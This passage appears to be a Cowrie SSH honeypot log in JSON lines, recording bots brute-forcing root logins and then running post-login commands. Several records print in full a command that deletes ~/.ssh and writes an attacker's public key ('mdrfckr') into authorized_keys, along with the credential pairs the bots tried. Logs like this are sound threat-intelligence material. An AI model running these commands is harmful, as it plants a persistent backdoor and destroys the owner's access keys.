{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:48.104701Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:48.109350Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:48.263190Z","src_ip":"163.7.6.74","session":"ed37a1281f97","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:48.357251Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:48.903221Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:48.905978Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:49.154065Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:49.157559Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":38362,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a42a0747e34","protocol":"ssh","message":"New connection: 159.223.57.48:38362 (159.203.135.109:22) [session: 6a42a0747e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:49.380526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:49.383971Z","src_ip":"159.223.57.48","session":"6a42a0747e34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:49.620538Z","src_ip":"159.223.57.48","session":"6a42a0747e34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:50.618932Z","src_ip":"159.223.57.48","session":"6a42a0747e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:51.860011Z","src_ip":"159.223.57.48","session":"6a42a0747e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":50508,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dd691346442","protocol":"ssh","message":"New connection: 159.223.57.48:50508 (159.203.135.109:22) [session: 4dd691346442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:52.091355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:52.096022Z","src_ip":"159.223.57.48","session":"4dd691346442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:52.331747Z","src_ip":"159.223.57.48","session":"4dd691346442","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:53.305384Z","src_ip":"159.223.57.48","session":"4dd691346442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:53.541864Z","src_ip":"159.223.57.48","session":"4dd691346442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:53.550297Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":50828,"dst_ip":"159.203.135.109","dst_port":22,"session":"b53ade967183","protocol":"ssh","message":"New connection: 2.57.122.96:50828 (159.203.135.109:22) [session: b53ade967183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:00.769272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:00.805852Z","src_ip":"2.57.122.96","session":"b53ade967183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:00.900854Z","src_ip":"2.57.122.96","session":"b53ade967183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"staker","message":"login attempt [ubuntu/staker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:01.502172Z","src_ip":"2.57.122.96","session":"b53ade967183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:02.639570Z","src_ip":"2.57.122.96","session":"b53ade967183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":59998,"dst_ip":"159.203.135.109","dst_port":22,"session":"338a1f189ec5","protocol":"ssh","message":"New connection: 136.248.247.188:59998 (159.203.135.109:22) [session: 338a1f189ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:10.013588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:10.019061Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:10.152236Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@2025","message":"login attempt [root/admin@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:10.705654Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.004633Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.008222Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.012063Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.147682Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.440955Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.444297Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.580919Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.585013Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":60008,"dst_ip":"159.203.135.109","dst_port":22,"session":"3137a5eb96dc","protocol":"ssh","message":"New connection: 136.248.247.188:60008 (159.203.135.109:22) [session: 3137a5eb96dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.713201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.718665Z","src_ip":"136.248.247.188","session":"3137a5eb96dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:11.852178Z","src_ip":"136.248.247.188","session":"3137a5eb96dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:12.421752Z","src_ip":"136.248.247.188","session":"3137a5eb96dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:13.622242Z","src_ip":"136.248.247.188","session":"3137a5eb96dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":60024,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3f58a8c49f4","protocol":"ssh","message":"New connection: 136.248.247.188:60024 (159.203.135.109:22) [session: f3f58a8c49f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:13.752905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:13.756849Z","src_ip":"136.248.247.188","session":"f3f58a8c49f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"mac